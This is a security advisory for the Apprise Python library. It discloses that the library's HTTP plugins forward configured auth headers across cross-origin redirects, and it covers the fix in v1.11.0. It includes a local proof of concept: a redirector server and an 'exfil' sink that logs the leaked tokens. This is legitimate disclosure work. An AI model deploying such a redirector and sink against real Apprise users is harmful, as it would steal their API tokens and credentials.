GHSA-856c-92hv-3vxx Apprise forwards configured auth headers across cross-origin HTTP redirects

• PyPI apprise: < 1.11.0 → fixed in 1.11.0

Summary Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (`apprise/attachment/http.py`, `apprise/config/http.py`) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a `302 Location:` to an arbitrary host and Apprise forwards the user's secret (`X-Gotify-Key`, `Authorization`, bearer tokens in query, custom `+Header=` values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts. This is the application-layer analogue of urllib3 `GHSA-34jh-p97f-mpxf` / `CVE-2026-44431` ("`Proxy-Authorization` forwarded across cross-origin redirect"). Affected versions All releases up to and including `v1.10.0` (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d). Details `apprise/plugins/gotify.py` (pre-fix HEAD, lines 226-244, verbatim): ```python headers = { "User-Agent": self.app_id, "Content-Type": "application/json", "X-Gotify-Key": self.token, # user-supplied secret } ... r = requests.post( url, data=dumps(payload), headers=headers, verify=self.verify_certificate, timeout=self.request_timeout, # NO allow_redirects=False -- requests default is True ) ``` `requests` follows 3xx redirects by default and re-attaches the `headers=` dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (`custom_json`, `custom_xml`, `custom_form`, `gotify`, `ntfy`, `mattermost`, `apprise_api`, and most other HTTP-based plugins), plus in `apprise/attachment/http.py` and `apprise/config/http.py`. Reproduction (local, safe) ```python attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): self.send_response(302) self.send_header("Location", "http://127.0.0.1:8082/exfil") self.end_headers() http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever() ``` ```python attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): print("LEAKED HEADERS:", dict(self.headers)) self.send_response(204); self.end_headers() http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever() ``` ```python victim from apprise import Apprise a = Apprise() a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN") a.notify(body="x") ``` Observed on `master` HEAD (2026-05-13): `attacker_sink.py` prints `X-Gotify-Key: SECRETTOKEN` -- the user-supplied token followed the cross-origin redirect. Patch Fix landed in `caronc/apprise#1610` (merged 2026-05-16, commit `68c0aef`): • Adds `?redirect=yes|no` URL parameter on every plugin URL • Adds `AppriseAsset.http_redirects` global default • Equivalent flags wired into `apprise/attachment/http.py` and `apprise/config/http.py` The default remains `redirects=True` for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append `?redirect=no` to their Apprise URLs or set `AppriseAsset(http_redirects=False)` globally. Released in v1.11.0 (2026-05-29, available on PyPI). Related: • Documentation: `caronc/apprise-docs#60` (merged 2026-05-16) • API counterpart: `caronc/apprise-api#331` (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0) Remediation Upgrade to Apprise v1.11.0 or later (`pip install -U apprise`). The default remains `redirect=yes` for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set `AppriseAsset(http_redirects=False)` globally or append `?redirect=no` to each plugin URL. If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model). Classification • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom `+Header=` values are forwarded onto the cross-origin redirected request. • CWE-601 URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured. CVSS 3.1: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N` -> 3.1 LOW. Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.